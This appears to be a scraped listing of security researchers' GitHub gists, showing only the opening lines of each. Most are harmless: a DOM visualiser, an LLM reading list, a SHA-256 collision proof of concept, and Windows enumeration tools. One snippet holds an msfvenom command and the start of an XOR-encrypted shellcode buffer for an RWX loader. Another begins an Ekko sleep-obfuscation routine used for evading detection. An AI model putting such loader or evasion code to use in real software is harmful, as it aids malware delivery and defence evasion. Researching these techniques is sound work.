theevilbit

#include <objc/runtime.h>
#include <Foundation/Foundation.h>
#include <IOKit/IOKitLib.h>
#include <spawn.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <err.h>
#include <sys/wait.h>
#include <sys/stat.h>

tin-z

Index

• #prepreqs

• #roadmap

  • #iot
  • #chrome-and-friends: Chrome, V8, Blink, Mojo, etc.
  • Linux kernel #todo
  • expdev #todo

• fuzzing #todo

DavidBuchanan314

"""
31-round sha256 collision.

Not my research, just a PoC script I put together with numbers plugged in from the slide at
https://twitter.com/jedisct1/status/1772647350554464448 from FSE2024

SHA256 impl follows FIPS 180-4
https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf
"""

OrionReed

// 3D Dom viewer, copy-paste this into your console to visualise the DOM as a stack of solid blocks.
// You can also minify and save it as a bookmarklet (https://www.freecodecamp.org/news/what-are-bookmarklets/)
(() => {
  const SHOW_SIDES = false; // color sides of DOM nodes?
  const COLOR_SURFACE = true; // color tops of DOM nodes?
  const COLOR_RANDOM = false; // randomise color?
  const COLOR_HUE = 190; // hue in HSL (https://hslpicker.com)
  const MAX_ROTATION = 180; // set to 360 to rotate all the way round
  const THICKNESS = 20; // thickness of layers
  const DISTANCE = 10000; // ¯\\_(ツ)_/¯

dadevel

#include <cstdint>

// x86_64-w64-mingw32-g++ -lstdc++ -static -O3 -s -DPAYLOAD_SIZE=276 ./byorwx.cpp ./section.S -o ./byorwx.exe

// msfvenom -p windows/x64/exec -f c CMD=calc.exe --encrypt xor --encrypt-key abcdef
unsigned char buf[] =
"\x9d\x2a\xe0\x80\x95\x8e\xa1\x62\x63\x64\x24\x37\x20\x32"
"\x31\x35\x33\x2e\x50\xb0\x06\x2c\xee\x34\x01\x2a\xe8\x36"
"\x7d\x2e\xea\x30\x43\x2c\xee\x14\x31\x2a\x6c\xd3\x2f\x2c"
"\x2c\x53\xaa\x2c\x54\xa6\xcd\x5e\x02\x18\x67\x4a\x41\x23"

tin-z

Anti-hype LLM reading list

Goals: Add links that are reasonable and good explanations of how stuff works. No hype and no vendor content if possible. Practical first-hand accounts and experience preferred (super rare at this point).

My own notes from a few months back.

Background

• Survey of LLMS
• Self-attention and transformer networks

susMdT

#include <Core.h>
#include <Win32.h>
#include <Structs.h>
#include <Sleep.h>
#include <Utils.h>

SEC( text, C ) VOID Ekko ( DWORD SleepTime, PINSTANCE Instance)

{

susMdT

using System;
using System.Runtime.CompilerServices;
using System.Reflection;
using System.Reflection.Emit;
namespace FunkyJit
{
    class Program
    {
        public static void Nothing() { Console.WriteLine(); }
        static void Main(string[] args)

olliencc

/*
DLL Load Reason Enumerator for Microsoft Windows

Released as open source by NCC Group Plc - http://www.nccgroup.com/

Developed by Ollie Whitehouse, ollie dot whitehouse at nccgroup dot com

Released under AGPL see LICENSE for more information
*/

olliencc

/*
Thread Start Address Enumerator for Microsoft Windows

Released as open source by NCC Group Plc - http://www.nccgroup.com/

Developed by Ollie Whitehouse, ollie dot whitehouse at nccgroup dot com

Released under AGPL see LICENSE for more information
*/